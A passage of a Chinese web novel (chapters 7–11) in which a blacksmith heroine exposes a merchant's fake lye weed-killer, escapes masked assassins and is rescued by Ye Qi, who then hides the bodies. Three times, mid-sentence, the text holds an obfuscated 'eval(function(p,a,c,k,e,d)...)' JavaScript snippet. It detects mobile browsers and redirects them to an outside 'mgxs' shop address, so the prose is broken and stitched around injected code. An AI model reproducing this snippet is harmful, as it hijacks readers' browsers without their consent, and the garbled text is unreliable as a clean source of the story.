“真的断了……轻松一锄就断了……依依!”镇长对柳依依竖了个大拇指。 至于他家老婆子,眼睛撑得宛如铜钱。 她顾不上这些,三步并作两步跳到田里,捡起那把锄头,像看宝贝一样翻来覆去地看,嘴里念叨着:“六十铜板……六十铜板就修成这样?依依,你、你可别骗老婆子我啊!……这锄头到底是用什么材质做的?这真是你亲自打造的?” 柳依依笑了:“效果您不是亲自看到了吗?” 镇长站在田埂上,看着自家那块长满荆茅的地止不住地傻笑,又看看媳妇手里那把闪着寒光的锄头,忽然觉得今天挨的那顿骂,好像没那么冤了。 这锄头看上去材质似乎很特殊,使用起来简直不费吹灰之力。有了它,一个人的效率恐怕比得上十个大汉。 柳依依点头,她的目光从脚下的泥泞,慢慢拉远,随后挪向远处镇民们家中葱葱郁郁等待丰收的麦田。 “用的是普通的赤铁矿罢了,只是加了点父亲教我的淬火工艺,让它比普通的刃口更加锋利,而且不易崩口,荆茅的根系哪怕再坚韧,也扛不住。” 柳依依把话说得半真半假。 她其实用的是穿越前现代的锻造工艺,带到古代来自然是直接降维打击了。 刘行长面露难色,他拍了拍裤脚的泥,故意装作无所谓地道:“小姑娘,我佩服你的锻造手艺,只是你年纪尚小,力气也小,依云镇怕是有成百上千亩地,这荆茅的生长速度可快着呢,你锄的过来吗?” “我干嘛要自己锄?我只用把锄头卖出去,让每家每户自己买了自己去锄不就行了?”柳依依奇怪地看了刘行长一眼。 “刘行长。您之前说每亩地要收十两银子,是因为荆茅根茎难断,要费两个月的功夫,还有无数人力才能根除。”柳依依望着刘行长有些发白的脸,慢慢道。 “可如今,有这么一把锄头,砍断荆茅根茎就像砍瓜切菜一般容易。您说,会发生什么呢?” 刘行长的脸扭曲了一下。“柳姑娘,你这话是什么意思?” 他从珏牙城向着京都前行,商行的药水一路在十几个城镇都卖爆了。今天这事要是传出去了,自家商行治理荆茅的生意就彻底没得做了。 这锄头还只卖六十个铜板,自己的生意还做不做了! 柳依依徐徐说:“我只是给父老乡亲们一个其他的选择,至于他们会买谁家的山商品,那就是他们的自由了。” 8. 第 8 章 老百姓们又不是傻子。 柳依依的锄头便宜又方便,脑子有问题才去买贵得多又麻烦的药水。 从刚刚刘行长的描述来看,柳依依猜测他口中的药水大概就是碱水。 古代的确会用碱水来清理农田的杂草,但像荆茅这种根系发达的杂草,普通的碱水效果有限,需要更高浓度的剂量。 不过,那种加浓剂量的碱水,对土地的负面影响可以说是毁灭性的,远远没有刘行长说的那么简单。 连续一个月往农田里喷洒碱水,会让土地盐碱化并且出现板结,变得不适宜耕作,根本不是什么灌水排毒就能解决的。而且连续往田里灌水,只会加剧肥料的流失。 到时候荆茅是真的除掉了,但田也是真的废掉了。 碱水制作其实也非常简单,把普通人家取暖烧柴留下的灰烬倒进水里,烧水过滤,只需要半天功夫就能得到。 若是嫌浓度不够,就继续往里面倒草木灰,继续熬煮浓缩便是。 柳依依之所以这么了解碱水,是因为碱水也是锻造时很重要的原料。将烧红的金属迅速浸入碱水中,在高温下,碱水能显著破坏金属表面的金属膜,提高硬度。 由草木灰兑成的水,就这么简单的东西,刘行长竟然还敢卖十两银子? 柳依依有些感叹。 不得不说,是真能坑人啊。 “柳姑娘的意思是,是要和我刘某人作对不成?” 刘行长终于是再也装不下去了,他压低声音,语气里带着几分威胁的寒意,用只有两个人能听到的声音说:“我只需要一句话,就可以让你这个铁匠铺马上开不下去,信不信?” “作对?”柳依依不慌不忙地说,“刘行长误会了,我是来和您合作的。” 刘行长鼻子都歪了,差点气笑了。“合作?怎么个合作法?” “您作为绝牙城商业的龙头,有些道理相信您比依依我明白。比如,这商人的商誉,是很重要的。”柳依依依然是一副淡淡的笑容。 “你到底想说什么?”刘行长冷笑一声。 柳依依学着他,压低声音道:“刘行长,您想啊,您那收了十两银子的神药灵验无比,若是哪天乡亲们知道了,其实是草木灰兑出来的,会怎么看你呢?” 听到草木灰这三个字,刘行长瞳孔一缩。 “草木灰?那是什么?你在胡说八道些什么?”刘行长咬牙切齿道。 他听出了柳依依字里行间的威胁,但依旧装作不知情,只是在心里暗想:这死丫头是怎么知道的?他家商行的药水其实就是草木灰水,是他商行最大的秘密。 “这哪是威胁。我都给刘行长解释了,我们这叫合作。”柳依依轻笑着将碎发别至耳后,语气轻快得像在聊家常。 “您卖您的药水,我卖我的锄头。要是我的铁匠铺开不下去了,我伤心欲绝,一不小心把草木灰的事说漏嘴了就不好了。” “我这人可识趣了,您在绝牙城只手遮天,我无非是个打铁的小丫头,哪敢与您作对,不是吗?” “但愿如此。”刘行长面色铁青,深深地看了柳依依一眼,对身边的手下厉声道:“走!回旅馆!” “哎!刘行长!您怎么走了?”镇长媳妇没听到他和柳依依刚刚小声互相说了什么,还没搞明白状态,一头雾水,急冲冲地挽留。 “您还没看别家的地呢!哎!” 刘行长一行人气冲冲地离开了。 镇长意识到事情没那么简单,于是好奇地问:“依依,刚刚你在和刘行长嘀咕什么呢?” 柳依依把自己的猜测告诉了镇长。 “草木灰兑水?”镇长愣了愣,“就是我们平时在炉子里烧火留下的干灰?” “是。”柳依依点点头。 “把草木灰倒进水里熬煮,就能得到碱水,这水喷在地里,浓度高的话的确能把杂草烧死。但问题也在这里,它能烧死草根,但它还烧地,这简直是毁田。” “我的亲娘嘞!”镇长媳妇气得原地跳,火冒三丈道:“就这么个破东西,他怎么好意思打算收我们一亩十两银子啊?丧天良的奸商!” “可是他刚刚说,事后只需田里灌水一个月……”镇长回想着刘行长的话。 “骗你的。”柳依依无奈道。 “十两银子可不是小数目,你要真买到时候荆茅是死了,地也别想种了,往田里灌一个月的水,光是肥料都全被冲跑了!” “这个没良心的!“镇长沉默了好一会儿,脸色铁青地骂道。 刚刚他是真心动了,要不是柳依依间接拦了下来,说不定现在已经去通知镇民,一起去凑钱了。 “这事怪我,刚刚是我老糊涂了。”镇长叹了口气说,“我一听到他们说要去京都给老爷们献策,寻思着他们必然是真正有法子的,就差点偏信了。” 柳依依继续道:“我原本也只是猜测罢了,谁料到他这人完全藏不住事,再怎么强装镇定,但答案都已经写在他脸上了。” “所以他那么急着走,我已经拆穿他了,他怕我把真相传出去,坏了他的好事和名声。” 镇长媳妇猛地一拍大腿,恍然大悟:“难怪依依你刚刚才说什么商誉的,原来是在点他呢!意思是他那点坏心思我们清清楚楚!骗不了人的!” 柳依依笑了笑,算是直接默认了。 “这次事情多亏了你!依依,不然咱镇子里的父老乡亲们还真有可能直接被骗了……”一想到这里,镇长如今对柳依依更是刮目相看了。 这姑娘自从父母离世后,整个人都脱胎换骨般的蜕变了。 “我也是镇里的一员,无论如何,也不能眼睁睁看着大家被骗却不管。”柳依依摇了摇头。 “以后大家要是需要清理荆茅的话,可以来我家铺子买锄头,保证效率高” “你这丫头,还急急忙忙打起自家的广告来了。难怪你得把刘行长赶走,原来他是你的商业竞争对手。”镇长哭笑不得,开玩笑说。 “放心吧,我会给大家把这件事一五一十地说清楚,另外我也会帮忙好好推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498668|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广你家的锄头。” “那依依在此谢过镇长了,不过……依依还是希望暂时不要向父老乡亲们揭穿刘行长药水的真相。” “这是为何?”镇长不解。 “刘行长是绝牙城商会的会长。您刚刚不是听到了吗?他是去京都献策的,是和衙门有关系的人……我们目前得罪不起。一个商行的行长,手底下不可能只有荆茅药水这么一个产业的。”柳依依解释道。 她想了一下,又无奈地补充:“好吧,我觉得我已经得罪他了。但是如果咱们直接把他干的龌龊事全揭穿,他真下定决心要对付我们,我们未必招架得住。” 镇长媳妇有些急了:“不揭穿,那总不能看着他继续骗人吧!” “非也。”柳依依对着自己打造的那根锄头扬了扬下巴,“只要大家都知道我家锄头便宜好用还没副作用,自然就不会去花冤枉钱了。” “还是依依想得周到。”镇长叹了口气:“这世道,做点实事还得处处提防。” 柳依依倒是看得很开,笑着说:“没事,兵来将挡水来土掩,他要是真带人来折腾我铺子,我那大铁锤也不是吃素的!” 镇长被她这话逗笑了,但心里依然是有些沉甸甸的。 “镇长,那依依便先回去了!”柳依依估摸着时候已经不早了,她想去镇子附近的树林里再捡点柴火,便道别二人。 镇长和他媳妇此刻正大有干劲,恨不得立刻就把自家田里的杂草清干净,便也没有挽留,叮嘱柳依依小心后便继续忙碌了。 柳依依背着背篓沿着田埂向后山走去,一边走一边寻思着今日发生的事。 那个刘行长看上去就非大度之辈,显然是不会善罢甘休的。哪怕他明面上不动手,私底下耍耍绊子还是做得到的。 四周寂静,柳依依能听到自己踩在落叶上稀碎的声音,还有周围传来的嗡嗡虫鸣。 突然,柳依依听到了身后传来的些许动静,脚步慢了半拍,但她装作什么也没察觉,继续前进。 不对劲。 那是有人刻意压低的脚步声,并且听上去不止一个。 肯定不是什么好人,否则何必压低脚步声跟在自己身后呢? 是柳白的人?还是刘行长的人? 柳依依手心往外冒汗,在做好心理准备后,她猛地往前快步跑去。 “追!”身后的人见她开始逃跑,便立刻开始追逐。 柳依依压根不敢回头,这时候回头只会降低自己的速度。她把背上的背篓直接甩到路边,以免干扰到自己逃跑。 原主的体力实在堪忧,柳依依铆足了劲,撒开脚丫子狂奔了没多久,就觉得自己的肺快要被烧穿了,连腿也越来越酸沉。 背后那些人急促的脚步声越来越近。 不行!这样下去会被追上的!柳依依环顾四周,突然发现前方的岩壁上有一大片裸露的岩层,正隐隐约约泛着赤褐色。 这是铁矿石! 看到这里,柳依依心脏猛地一跳,于是连忙向那边跑去。 9. 第 9 章 “就在前面!快追!快!”柳依依能听到身后的脚步声越来越近,她不顾小腿处传来的酸痛,拼了命地往那边跑去。 到了!就快到了! 岩壁呈现红褐微黄的颜色,上面还有蜂窝状的孔隙。 没认错。 前方岩壁的铁矿石比较特殊,叫做褐铁矿。它并不是单一的矿物,而是很多富含铁质的结合体。 这种矿物质地极其疏松,摸上去就像是泥土,轻易就能用手捏碎。 柳依依距岩壁越来越近,她看到那块突出的铁矿石似乎卡住了上方摇摇欲坠的碎石与土方。 柳依依眼疾手快,弯腰捡起地上一根小腿粗的硬木棍,死死抱紧,向着那里狂奔着。 “追!” 身后的脚步声和吼叫声近在咫尺。 柳依依拿着木棍跑步速度下降了不少,但是她已经跑到岩壁下方了。 就是这里! 她双手将木棍狠狠戳向那块铁矿石的下方,岩壁质地松软,加上柳依依借着冲劲,竟然真的戳了进去。 柳依依余光已经瞥见了身后追击自己的人,他们总共五人,都手持长剑,一身黑衣,就连头上也戴着黑色的面具,只能看到眼睛。 没有丝毫犹豫,柳依依直接整个人压在了木棍的另一端。 追兵不知道她在干什么,见她停下来不跑了,眼里闪过几分喜色,连忙上前。 “啪!” 木棍在空中被压断,好在铁矿石应声而动,与此同时,上方巨量的碎石和泥土失去了平衡。 柳依依的身体猛地摔在地上,疼痛下的本能胜过了思考,柳依依来不及起身,在地上向前方滚去。 身后,铺天盖地的碎石和泥土像泄洪一般砸了下来。 “小心!” “快退后!” 柳依依身后的追兵发出惊慌的呼喊。 最前面的那名追兵来不及后退,被拳头大的石块砸中脑袋,随后被当场埋在坍塌之下。 还有两名追兵虽然被砸伤了,但好歹后撤及时,没有被活埋。 顷刻间,狭窄的山路被堵住,碎石和沙土堆了足足半人高,塌方激起了大量扬尘,遮天蔽日,追兵们剧烈地咳嗽着,睁不开眼。 尽管柳依依提前做好了准备,但面对这种大范围的塌方,她的左脚脚踝还是被一块石头砸中了。 剧痛让她闷哼一声,来不及检查伤处,柳依依勉强站起身,用衣服裹住口鼻。 柳依依回头望了一眼,浓厚的烟尘下,已经看不见那几名刺客的身影,只能听到他们不断地咒骂。 “呼——”柳依依长舒一口气。 不过,她腿上有伤,体力也已快要透支,虽然塌方可以拖延刺客们一段时间,但保不准自己还会被追上。 想到这里,柳依依咬咬牙,伸手擦了擦脸上的汗水,果断离开了脚下的山路,一瘸一拐地跑向了一旁的树林。 密林里错综复杂,比那崎岖的山路还难走,但好在荆棘和灌木能够隐蔽。 再加上有原主的记忆,这片树林她相当熟悉,不会迷路。 柳依依时不时扶着手边的树木,一直盯着脚下的地面,避开地面上那些高高凸起的树根。 她的袖口破了,手臂上有几处被荆棘割破的细小划痕。 身后此刻的声音越来越小,直至消失。不知这么逃了多久,柳依依的身体终于承受不住了,她实在是跑不动了,大口喘着粗气,终于从跑变成了走。 突然,柳依依依稀听到了溪流潺潺的水声。 记忆没有错,树林里有一条小溪,说明离镇子已经不远了。 柳依依忍着疼,手脚并用爬过一处山坳,果真在前方看见了一条清澈见底的小溪,她来到溪边,看着倒影里的自己。 灰头土脸,满脸都是褐色的尘灰。 柳依依迅速把手清洗了一下,然后捧起溪水大口大口地喝着。清凉的水进入口腔的那一刻,柳依依差点哭了出来。 过度疲劳带来的缺水被缓解,肺部火辣辣的灼痛感也淡了不少。 短暂的休息后,柳依依混沌的脑子重回清醒,由于危机暂时解除,脚踝处传来的疼痛变得格外清晰,于是她向脚踝看去。 脚踝已经变成了青紫色,并且高高地肿了起来。 柳依依又尝试着动了动脚踝。 “嘶——”柳依依倒吸一口凉气,疼得钻心。 还能正常活动,想必骨头没有断。 她已经顾不上继续跑会不会加重伤势了。那些刺客肯定会沿着通向依云镇的方向继续搜寻,此地不宜久留。 想到这里,柳依依最后喝了几口水,便继续逃命。 柳依依的大脑飞速运转。 五个刺客,看上去训练有素,并非普通的地皮流氓。 柳白平日里是什么样,柳依依从原主的记忆中看得清清楚楚,他没有这么大的能耐和手笔,所以不太可能是他。 所以只有可能是刘行长了。 这么看来,今天自己为了避免村民被欺骗,的确处理得有些冲动了。 当着镇长夫妇的面搅黄了刘行长的生意,固然是好心,但的确让刘行长这个缺心眼的人嫉恨上了。 可转念一想,哪怕当时自己没有揭穿,自己锻造的锄头也是刘行长药水的全方面秒杀版上位替代品,被这个小心眼盯上也是迟早的事。 柳依依不再纠结这些,重要的是接下来要怎么办。 思考着,柳依依似乎又听到了身后树林里传出来的些许动静。 这么快就追上来了?! 柳依依的血液像是被瞬间冻结了。 距离有点远,柳依依屏住呼吸,也只能隐隐约约听见他们的只言片语。 “快……跑不远……” “脚印……” 脚印? 柳依依猛地回头。 只见自己的确在湿润的泥土和落叶堆上踩出了一串浅浅的脚印,自己识别起来困难,但是那些刺客恐怕追踪起来轻而易举。 蠢死了! 柳依依暗骂自己几句。 她环顾四周,这里完全没有适合藏身的地方。 于是柳依依迅速向左前方走了一小段距离,然后踩着自己留下的脚印倒着走回去, 倒着走回原本的位置后,柳依依跳到旁边不会留下脚印的树根上,然后趴在地上向前滚动。 滚着走虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498669|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费力,速度也慢,但这样不会留下脚印了。 遇到树木密集、能踩着树根前进的地方,柳依依就起身站着走;遇到空旷会留下脚印的地方,她就暂时趴下滚着走。 等觉得没有脚印的路段足够拖延些时间了,柳依依便不再打滚,拼了命地继续向前跑。 毕竟打滚的速度太慢。 天色逐渐变暗,太阳已经落山了,很快夜晚就要彻底到来。 柳依依回头,只见视线的尽头,明黄色的火光微微穿过了灌木和树林之间的缝隙。 他们就在后面,在打着火把找我。 柳依依想。 “断了……” “什么情况?” 柳依依又听到了夹杂着愤怒和焦急的破碎词汇,明白是自己刚刚留下障眼法起了大作用,于是抓住这个机会,哪怕腿已经疼得有些麻木了依旧不敢慢下来。 终于!柳依依看到前方黑暗中,出现了镇子里细微的灯光。 快到了! 她狂喜,再次迈开步子跑去。 “在这里!” 就在这时,柳依依听到了自己左前方传来了一个男人愤怒地呼喊。 她心脏猛地一颤,向那里望去,只见一个同样持剑的黑衣人和自己四目相对。 他没有打火把,所以柳依依没有第一时间发现他。 “抓住她!” “不能让她跑了!” 身后的刺客们听到了他的呼喊,发出了兴奋的呼应声,连忙向着这边赶来。 柳依依拔腿就跑。 “起火啦!救命!救命!森林起山火啦!”她一边跑一边求救。 这里离村子还有些距离,柳依依也摸不准村民能不能听见。 但由于她受了伤,速度实在是太慢,甩不开面前的黑衣人,对方挥着刀猛地扑了上来。 柳依依感受到身后的劲风,连忙侧闪躲开。利刃虽被避开,却割断了她的袖子。 “死!”黑衣人厉喝一声,再次持刀砍来。 柳依依来不及思考,下意识趴下再次躲过一刀。 她身下是湿润的泥土,柳依依用力抓了一大把,猛地向着黑衣人的眼睛挥去。 “啊!”黑衣人惨叫着,动作顿了一下。 柳依依赶紧从地上爬了起来,一边向着镇子跑去,一边大喊:“着火啦!整片山都烧起来了!” 镇子更近了! 柳依依看到了希望,更加不顾一切地向前冲刺。 天色已经变得更黑,她很难看清脚下的路,一个不留神,被树根绊倒。 那个身形高大的黑衣人已经追到了眼前。 对方二话不说,抄起剑就朝柳依依刺了过来。 结束了吗? 柳依依感觉时间的流逝都在这一瞬间放慢了。黑暗里,她能看清对方眼中冰冷刺骨的杀意和决绝。 来不及了,这个距离,哪怕是打滚也躲不开了。 柳依依睁大双眼。 “砰!” 一柄大铁锤猛地出现在了柳依依的面前,持锤的人轻轻一挑,刺客的剑就飞了出去。 “没事吧?” 柳依依听到了熟悉的男声。 10. 第 10 章 没死? 自己得救了? 柳依依脑袋空白了一瞬。 她抬起头一看,叶七正站在自己身前,手里提着自家铁匠铺子的锻造锤。 男人鼻梁高挺,薄唇微抿。夜风拂过,柳依依能看清叶七额角随风微晃的发丝。 此刻叶七身上那件衣裳,柳依依再熟悉不过了。 浅蓝色的粗布短褐,袖口宽大,襟前已经因为多年的浣洗磨得发白,腰间用根皮带简单束着。 那是原主父亲的衣服。 衣裳并不合身,叶七的个头比父亲高大得多。 夜风一吹,粗麻布贴身勾勒出他后背宽阔的轮廓,像一柄锋利的重剑被仓促收进了旧刀鞘。 此刻,那些属于原主的破碎记忆,像被海浪推搡的浮沫,聚集合拢,形成一刹那的画面。 原主自幼害羞,见到人后半天憋不出一句话来。有一回,原主被隔壁镇子的男孩扔石头打了,父亲知道后,怒气冲冲地提着锻造锤带着她找上了那家子的门。 那个男孩被原主父亲愤怒的模样吓得不轻,嚎啕大哭,从此老远见到原主就绕路。 那时候,原主的父亲摸着她的头,也是提着锻造锤站在她的身前,说了同样的话。 “没事吧?“ 恍惚间,叶七的背影和原主父亲重合在一起。 思绪瞬间回笼。 “我没事。”柳依依忍着疼,从地上站起来。 那名刺客向着二人冲来。 “小心!”她连忙提醒道。 黑衣人举起拳头,大喊一声,朝着叶七的头部一拳挥去。 只见叶七微微偏头,刺客的这一拳打空了,他猛地抓住刺客落空的拳头,微微一拧,对方就发出凄惨的嚎叫。 叶七动作太快,柳依依只能看见几道残影,这名刺客立刻飞了出去,被撞到了树干上。 对方闷哼一声,身体软趴趴地砸回地面,不动了。 远处打着火把、闻声赶来的刺客们也杀气腾腾冲向了这里。总共四名,个个手持长刀,身强力壮。 “还有四个!”柳依依心头一紧。 “知道。”叶七头也没回,声音沉稳,仿佛占了人数优势的是他这边。 刺客们持着长刀冲了过来,叶七灵敏地避开他们的攻击,像一条驰骋的游龙,他手中的锻造锤像是长了眼睛一般,总是能及时挡下攻击,然后狠狠地砸向敌人的关节。不一会儿,刺客们横七竖八地倒了一地,几乎都被打趴了。 柳依依看得眼花缭乱,男人每次出手都又快又准。他单手抓住最后一个刺客的手腕,猛地将人抡圆了摔在地上。 叶七弯腰,面无表情扯下他的面罩。“谁派你来的?” 黑衣人没有回答,他的身体哆嗦了几下,表情扭曲,七窍往外流着鲜血。 “他……”柳依依看到对方凄惨的模样,欲言又止。 “他嘴里含了毒囊,见形势不对,咬破自尽了。”叶七皱眉解释着。他眼神暗了暗,借着月光开始搜尸体的身。 “多谢,若不是你……我可能真要死在这里。”脱离危险后,柳依依疯狂跳动的心脏慢慢平复了下来,她真诚道谢,“大半夜的,你怎么突然出来了?你的伤没事吧?” 叶七那么重的伤,半夜跑出来救了自己。上次叶七拿假毒药逼自己服下的事,她决定一笔勾销了。 叶七蹲下身,打量着地上的尸体。“我见你一直没回来,估摸着出事了。便假装成买铁的客户去打听,听说你去给镇长送锄头了,可镇长又说你去后山捡柴了,于是只好出来寻你,还好听到你刚刚的喊叫,看样子还算及时。” “我原本的衣裳又脏又破,暂时没法穿了,未经允许,便穿了姑娘父亲的旧衣服,实在抱歉。” “至于伤……无碍,已经开始愈合了。” “原来如此。”柳依依的目光伴随着叶七的动作,也停留在了地面的尸体上。“一件衣服而已,没事。” 叶七出来找自己也是出于报恩的好心,总不能让他只穿着内衣出来。再者,他原本身上的黑衣在小镇一帮子农户里也太惹眼了些。 “知道服毒自尽,看样子是专业的杀手。恐怕搜身也得不出什么有用的信息。”柳依依无奈一笑,带着几分探究地问:“你打架这么厉害哇?伤口真不要紧?” 刚刚叶七动手的样子,完全看不出是个带伤之人。 “嗯,之前从军时练的。一些小喽啰罢了,解决起来不至于扯到伤口。你腿伤了,在那里歇着,莫要乱动。”叶七继续给尸体搜身。 从军的人能有这么厉害的功夫? 柳依依心里有点怀疑,但毕竟是别人的秘密,她也不便深究,于是岔开话题道:“以前我读书,读到那些小说,哎!叶七,‘小说’你知道是什么吗?” “嗯。”叶七应答着。 “在小说里,那些刺客死了,身上都搜不出东西的。哦,有时候也能搜到东西,但是吧,这东西是假的,故意用来栽赃的。”柳依依有一句没一句地闲聊着。 叶七的手顿了顿,他从黑衣人的尸体上摸出一张纸,看上去像一封信。 柳依依揉了揉脚踝,诧异道:“还真有东西啊!” “柳白是谁?”叶七瞥了一眼信件后,问道。 “柳白?” 柳依依扯过信件,只见上面写着:“依云镇柳家铁匠铺的柳依依,此人与我早已不睦,务必要除掉她。” 最后署名了“柳白”二字。 假的要死。 还真被她说中了。 柳依依嘴角抽搐了一下,回答说:“我的远房亲戚,和我住在同一个镇子,前段时间还在我铺子里闹过,想要夺走我家铺子的地契,他虽然为人讨厌,但应该不会是他。这个栽赃太拙劣了。想要我命的人应该是……” “绝牙城商会的刘行长。”叶七帮她补充道。 柳依依惊讶地反问:“你认识?” “刚刚找到镇长的时候,和他多交流了几句。”叶七淡淡道。 “这些尸体怎么办?”柳依依伸手指了指四周横七竖八的尸体,“就丢在这?然后明天去报官?” 这里离镇子很近,要是丢这里不管,想必第二天就会被发现。 “若真是刘行长要杀你,你报官恐怕也查不出什么。打草惊蛇不说,死了这么多没身份的人,官兵们肯定会对你查问,到时候你这铺子是开还是不开?”叶七从容地帮她分析着。 柳依依不得不承认他说的非常有道理。 叶七直起身,用黑衣人的蒙面巾将那沾血的锻造锤擦拭干净,随后看了一眼四周横七竖八的尸首, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498670|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平淡地说:“附近有一处废弃的石灰洞,洞里深得很,常年无人去。把尸体扔进去,撒上石灰,不出半个月就只剩骨头。” 柳依依回忆了一下。 在原主的记忆里,后山的确有这么个石灰洞,里面错综复杂,镇子里的人都在自家孩子面前反复提及不许进去玩,怕在里面迷路。 柳依依一怔:“石灰能销尸?” “之前从军时,斥候就用这方法处理尸体,不然堆多了,营中会闹大疫。”叶七边说边弯腰,单手抓住一具尸体的衣领,像拖麻袋一样把它拖着。“你别动,免得腿伤加剧。在这等着,我先把这几个运过去处理了。” 柳依依看看天色,月亮已被云层遮住大半,山间漆黑一片。 “一具一具拖?那你不得来回跑五趟?” 叶七没答话,他把第一具尸体拖到路边,折回来又拖了剩下的几具,将几具叠在一处。然后他解下腰带,利落地将它们捆在一起,几具尸体竟被他一个人全部拖走。 叶七的身影很快消失在夜色中。 柳依依张了张嘴,最终什么也没说出来。 很快,叶七就回来了,这次他竟然推着一个独轮车。 柳依依一眼就认出来了,这独轮车就是自己捡到叶七时,把昏迷的他带回家用的同一辆。 真是风水轮流转。 “上来。”叶七推着独轮车来到她身前。 “我能走……”柳依依话音刚落,便抬腿想证明自己,结果身体踉跄了一下,尴尬地嘟囔着:“怎么比之前更疼了……” 叶七没说话,就这么看着她。 “谢了……”柳依依也不矫情。自己这腿的确有些吃力了,干脆妥协了,坐了上去。 待她坐稳抓紧后,叶七便开始推动小车,二人向着小镇的方向赶去。 夜风从耳畔掠过,柳依依的耳边传来虫鸣声还有独轮车推动发出的吱呀声,二人都没说话。 “叶七。”看着不远处逐渐拉近的小镇,柳依依觉得再沉默下去就太尴尬了,于是开口道。 “嗯。” “你以前在军中是做什么的?” “斥候。”叶七独轮车推得很平稳,他故意绕开了路上的大石块和凹陷处。 叶七在柳依依身后推车,他抬眼瞥了一眼对方的背影,单薄又消瘦,此刻正在独轮车上拘束板正地坐着,不敢乱动,似乎在害怕给推车的自己带来不便。 “斥候啊……”柳依依若有所思,双眼放光,“这么说,你会吹口哨咯?就是学那种猫头鹰、布谷鸟的声音作为信号,你是不是还会吹树叶发出声音?” “嗯,都会一些。”叶七的声音依然毫无波澜,“以前在军中我们要学的不少,甚至是琴棋书画都要学,因为以后紧急情况都可以用来向同袍传递消息。” “那,你能不能帮我一个忙?教我一样东西?”柳依依有点不好意思,拘束道。 “你想学口哨?”叶七顿了一下,点了点头,“这个倒是简单。” “不是!”柳依依连忙摆手,兴奋地说,“我想学的其实是……打人!” “像你刚刚那样,把别人往死里打,打得屁滚尿流、落花流水!末了,人家被我打服了,还要反过来关切地问我手掌心有没有被他的脸扇肿!” 叶七:“……” 11. 第 11 章 “打人?你为何要学这个?”叶七挑眉。 他倒是觉得柳依依性格跳脱,也不知怎么从口哨转到打人的。柳姑娘虽然看上去纤瘦,可张口就是“把别人往死里打”,倒是位有个性的。 “我得锻炼一下。”柳依依坐在独轮车上甩了甩手腕,理直气壮地说:“锻造可是门体力活!没有力气怎么行!再说,下次我再遇到坏人,起码有劲逃跑了,不会像今天一样狼狈。” 保护原主的人已经不在了,那个会提着锻造锤站在她身前、怒气冲冲帮她讨回公道的人,已经永远停留在记忆中,慢慢褪色。 从今往后,由她来保护原主。 叶七沉默了一会儿。 “好。”半晌,他的声音从柳依依身后的夜色中传来,“等你脚伤好了,我就教你。” 叶七推车的动作停了一下,柳依依好奇回头,看到他从地上捡起了根约两指粗的硬木棒。 这根木棒生得笔直,叶七随手把它放在了独轮车的角落里。 哦,他在顺便捡点柴火。 柳依依没往心里去,因为快到家了。 独轮车吱呀吱呀地碾过碎石路,转过镇头那熟悉的小土丘后,柳依依终于看到了自己铁匠铺熟悉的招牌和大门。 叶七把独轮车在院子里停稳,柳依依没等他扶,自己就从独轮车上下来。 她的脚一沾地就疼,柳依依干脆把脚提起来,单腿跳着往里面一步步蹦,到了床前,她整个人像散架了似的直接往被褥上扑去。 “你家里的药放在哪里?得尽快处理,不然会越拖越严重。”叶七站在门口,目光落在她的脚踝上,微微皱眉。 “跌打药酒在你屋内的梳妆台,你帮我拿来就行,我自己来处理便好。”柳依依慢慢挪到床中央,瞥了一眼自己的脚踝,那里已经又肿又胀,还出现了青紫色的瘀斑,她干脆先拿被褥暂时垫高。 叶七很快就把药酒瓶拿了过来,还带了绷带和剪刀,甚至还把剪刀掰开试了试。 他没说话,听到柳依依坚持自己处理后,只是把东西放在柳依依随手能够到的床头柜上,随后离开了房间,帮她掩上门,默默守在门外。 “好,有事大喊我。”门外传来他衣料摩擦的窸窣声,叶七似乎在门口坐下了。 “叶七,今日多亏了你。”柳依依拧开酒瓶塞,浓郁的草药味扑鼻而来,让她松了口气。 她把药酒抹在自己的脚踝处,咬住下唇,忍着疼慢慢搓揉着,等到药酒在皮肤上涂抹均匀后,拿起绷带一圈一圈往小腿方向缠绕,最后松松垮垮地系了个蝴蝶结。 房间里终于安静了下来。 柳依依扭头看向烛台,烛台上的蜡烛已经燃烧了大半,烛泪慢慢淌下来又凝结成一个个小疙瘩。窗纸被夜风吹得微微鼓动,发出沙沙的微响,远处隐约传来几声犬吠,随后又被虫鸣盖了过去。 “时辰不早了,叶七,你先去休息吧。”柳依依此刻眼皮已经开始打架了。 “好,有事大声叫我便好。”门外传来叶七逐渐远去的脚步声。 柳依依终于睡着了。折腾了大半天,今天又是刺杀,又是逃跑的,这一天的遭遇真比上辈子加起来还要刺激。 *** 第二天,柳依依是被阳光给晃醒的。 